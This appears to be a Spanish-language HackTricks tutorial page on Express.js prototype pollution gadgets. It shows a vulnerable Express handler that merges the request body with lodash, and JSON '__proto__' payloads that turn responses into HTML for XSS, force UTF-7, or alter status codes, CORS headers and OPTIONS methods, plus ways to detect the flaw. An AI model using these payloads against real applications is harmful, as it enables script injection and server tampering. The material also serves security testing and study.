Express Prototype Pollution Gadgets

Aprende hacking en AWS desde cero hasta experto con htARTE (Experto en Equipos Rojos de AWS de HackTricks)!

Otras formas de apoyar a HackTricks:

WhiteIntel es un motor de búsqueda alimentado por la dark web que ofrece funcionalidades gratuitas para verificar si una empresa o sus clientes han sido comprometidos por malwares de robo.

El objetivo principal de WhiteIntel es combatir los secuestros de cuentas y los ataques de ransomware resultantes de malwares que roban información.

Puedes visitar su sitio web y probar su motor de forma gratuita en:


Servir respuestas XSS

Para más detalles echa un vistazo a la investigación original

Cambiar el tipo de contenido JSON a HTML

En una aplicación Express que utiliza una respuesta de tipo de contenido JSON y refleja un JSON:

app.use(bodyParser.json({type: 'application/json'}));
app.post('/', function(req, res){
_.merge({}, req.body);
res.send(req.body);
});

En estos casos, normalmente no es posible realizar XSS con un tipo de contenido JSON. Sin embargo, con la contaminación de prototipos podemos confundir a Express para que sirva una respuesta HTML. Esta vulnerabilidad depende de que la aplicación utilice res.send(obj) y del uso del analizador de cuerpo con el tipo de contenido application/json.

{"__proto__":{"_body":true,"body":"<script>evil()"}}

Render UTF7

Es posible hacer que express renderice contenido UTF-7 con:

{"__proto__":{"content-type": "application/json; charset=utf-7"}}

Técnicas de Escaneo Seguras

Espacios en JSON

El siguiente PP hará que los atributos dentro de un JSON tengan un espacio extra que no romperá la funcionalidad:

{"__proto__":{"json spaces": " "}}

Entonces, un JSON reflejado se verá así:

{"foo":  "bar"} -- Note the extra space

Encabezados Expuestos

El siguiente gadget de PP hará que el servidor envíe de vuelta el encabezado HTTP: Access-Control-Expose_headers: foo

{"__proto__":{"exposedHeaders":["foo"]}}

Se requiere que el módulo CORS esté instalado

Método OPTIONS

Con la siguiente carga útil, es posible ocultar un método de una respuesta OPTIONS:

// Original reponse: POST,GET,HEAD

// Payload:
{"__proto__":{"head":true}}

//New response: POST;GET

Estado

Es posible cambiar el código de estado devuelto utilizando la siguiente carga útil de PP:

{"__proto__":{"status":510}}

Error

Cuando asignas un prototipo con un valor primitivo como una cadena, se produce una operación sin efecto ya que el prototipo debe ser un objeto. Si intentas asignar un objeto prototipo al Object.prototype en sí mismo, esto lanzará una excepción. Podemos usar estos dos comportamientos para detectar si la contaminación del prototipo fue exitosa:

({}).__proto__.__proto__={}//throws type exception
({}).__proto__.__proto__="x"//no-op does not throw exception

Valor Reflejado

Cuando una aplicación incluye un objeto en su respuesta, crear un atributo con un nombre inusual junto a __proto__ puede ser revelador. Específicamente, si solo se devuelve el atributo inusual en la respuesta, esto podría indicar la vulnerabilidad de la aplicación:

{"unusualName":"value","__proto__":"test"}

Además, en escenarios donde se emplea una biblioteca como Lodash, establecer una propiedad tanto a través de la contaminación del prototipo (PP) como directamente dentro del objeto ofrece otro enfoque de diagnóstico. Si dicha propiedad se omite de la respuesta, sugiere que Lodash está verificando la existencia de la propiedad en el objeto objetivo antes de fusionarla:

{"__proto__":{"a":"value1"},"a":"value2","b":"value3"}
// If 'b' is the only property reflected, this indicates prototype pollution in Lodash

Varios

Permitir puntos

Hay una opción en Express que te permite crear objetos a partir de parámetros de cadena de consulta. Definitivamente podrías usarlo en una cadena de errores para explotar una vulnerabilidad de la contaminación de prototipos.

{"__proto__":{"allowDots":true}}

?foo.bar=baz crea un objeto en Node.

Referencias

WhiteIntel es un motor de búsqueda alimentado por la dark web que ofrece funcionalidades gratuitas para verificar si una empresa o sus clientes han sido comprometidos por malwares robadores.

El objetivo principal de WhiteIntel es combatir tomas de cuentas y ataques de ransomware resultantes de malwares que roban información.

Puedes visitar su sitio web y probar su motor de búsqueda de forma gratuita en:

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Última actualización